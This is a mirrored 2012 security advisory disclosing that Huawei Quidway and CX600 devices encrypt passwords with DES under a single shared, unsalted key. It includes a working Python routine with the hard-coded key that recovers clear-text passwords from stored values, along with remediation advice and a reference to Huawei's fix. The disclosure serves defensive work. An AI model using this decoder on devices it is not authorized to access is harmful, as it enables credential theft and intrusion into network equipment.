首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Huawei Quidway / Huawei CX600 Weak Password Encryption
来源:roberto.paleari@emaze.net 作者:Paleari 发布时间:2012-11-15  
Weak password encryption on Huawei products
===========================================

[ADVISORY INFORMATION]
Title:    Weak password encryption on Huawei products
Release date:   13/11/2012
Credits:   Roberto Paleari, Emaze Networks (roberto.paleari@emaze.net)
    Ivan Speziale,   Emaze Networks (ivan.speziale@emaze.net)

[VULNERABILITY INFORMATION]
Class:           Information disclosure

[AFFECTED PRODUCTS]
We confirm the presence of this security vulnerability on the following
products:
   * Huawei Quidway series
   * Huawei CX600

Other models are probably also vulnerable, but they were not checked.

[VULNERABILITY DETAILS]
Huawei devices support a weak password encryption algorithm. With this scheme,
passwords are obfuscated and encrypted with DES, using an encryption key shared
among all the affected devices. This encryption scheme does not use any
password salting mechanism. As a consequence, passwords extracted from a
victim's device can be deciphered instantaneously.

A Python procedure that decodes a given password is included below. Upon
termination, procedure decrypt_password() returns the clear-text password.

<cut>
from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24

    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3

    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)

    r = r[:16]

    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)

    return r.rstrip("\x00")
</cut>


[REMEDIATION] 
We recommend to store passwords using a proper hashing algorithm, instead of
leveraging symmetric encryption. At the moment, this issue has been addressed
by Huawei with security advisory Huawei-SA-20120827-01-CX600 ("Updated Security
Advisory on the Risk of Password Being Cracked Due to DES Encryption
Algorithm"). Further details are available at the following URL:
http://support.huawei.com/enterprise/ReadLatestNewsAction.action?contentId=NEWS1000001141

[COPYRIGHT]
Copyright(c) Emaze Networks S.p.A 2012, All rights reserved worldwide.
Permission is hereby granted to redistribute this advisory, providing that no
changes are made and that the copyright notices and disclaimers remain intact.

[DISCLAIMER]
Emaze Networks S.p.A is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service to the
professional security community. There are NO WARRANTIES with regard to this
information. Any application or distribution of this information constitutes
acceptance AS IS, at the user's own risk. This information is subject to change
without notice. 

					

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Zoner Photo Studio v15 b3 Buff
·Novell Groupwise Internet Agen
·HT Editor 2.0.20 Buffer Overfl
·Novell NetIQ Privileged User M
·Jira Scriptrunner 2.0.7 <= CSR
·Novell NetIQ Privileged User M
·Invision IP.Board 3.3.4 unseri
·Oracle Database Client System
·Broadcom DoS on BCM4325 and BC
·Java Applet JAX-WS Remote Code
·Media Player Classic XSS / Den
·Smadav Anti Virus 9.1 Crash Po
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved